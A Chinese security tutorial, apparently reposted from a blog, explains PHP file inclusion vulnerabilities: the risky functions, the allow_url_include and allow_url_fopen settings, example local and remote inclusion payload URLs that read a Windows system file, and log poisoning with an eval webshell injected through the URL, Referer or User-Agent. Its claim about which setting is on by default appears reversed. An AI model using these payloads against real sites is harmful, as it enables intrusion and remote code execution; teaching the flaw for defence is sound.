文件包含漏洞

Posted leeeboom

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了文件包含漏洞相关的知识,希望对你有一定的参考价值。

文件包含漏洞原理:

 
在通过php的相应函数(比如include())引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

 

文件包含漏润的形成,需要满足两个条件:

 

  • 用户可控:用户能够控制文件的内容(向服务器上传一个新的文件、借用服务器已经存在的文件)
  • 后台执行:include()等函数通过动态变量的方式引入需要包含的文件

 

常用文件包含函数:

 

include():包含并运行指定文件,如果最后仍未找到文件则 include 结构会发出一条警告,只产生警告(E_WARNING),脚本会继续运行

require():包含并运行指定文件,require 在出错时产生 E_COMPILE_ERROR 级别的错误,停止脚本继续运行

include_once():include_once 语句在脚本执行期间包含并运行指定文件。此行为和 include 语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含。

require_once():唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含

higlight_file():语法高亮一个文件,高亮后的代码不会被打印输出,而是以字符串的形式返回。 高亮成功返回 TRUE

show_source():对文件进行语法高亮显示,别名 highlight_file()

readfile():输出文件,读取文件并写入到输出缓冲

file_get_contents():将整个文件读入一个字符串

fopen():打开文件或者 URL,将 filename 指定的名字资源绑定到一个流上

file():把整个文件读入一个数组中

 

 

文件包含漏洞原理介绍:

两个关键的配置文件:allow_url_include、allow_url_open

  • allow_url_include 是否允许引用URL文件,激活URL形式的fopen封装协议使得可以访问URL对象文件等。

    默认开启

  • allow_url_fopen 是否允许打开URL文件,该选项为on便是允许包含URL对象文件等。

    默认关闭

 

如果网站含有phpinfo文件,可通过phpinfo搜索查看网站是否开启allow_url_include、allow_url_open两个选项

 

技术图片

 

PS:allow_url_include、allow_url_open两个选项同时开启的情况下:还可以远程包含远程服务器的马儿

 

本地文件包含:

 

payload:http://127.0.0.1/baohan.php?file=文件目录(c:/windows/system.ini)

 

 

技术图片

 

远程文件包含:

payload:http://127.0.0.1/baohan.php?file=http://xxx.xxx.xxx.xxx/include.php?file=文件目录(c:/windows/system.ini)

 

 

技术图片

 

文件包含漏洞利用:

 

包含日志文件:

 

        web服务器,基本上把请求写入到日志文件中,有的是access.log,有的是error.log,所以,我们可以尝试,写一些奇怪的数据,例如<?php eval($_POST[‘cmd])?>,然后让访问出错,这个就会被记录到日志文件中去,然后,我们利用本地包含,去包含这个日志文件,相当于我们得到了一个shell。

       可以在url里面写入shell数据,也可以在referer或者ua中写入,但是,这个写入尽量要使用抓包改包工具,例如Burp Suite来写入,因为浏览器,会给我们转码。造成包含不成功。

以上是关于文件包含漏洞的主要内容,如果未能解决你的问题,请参考以下文章

DVWA文件包含漏洞

网络安全之文件包含漏洞总结

文件包含漏洞专题

文件包含漏洞

web安全原理-文件包含漏洞

pikachu---File Inclusion(文件包含漏洞)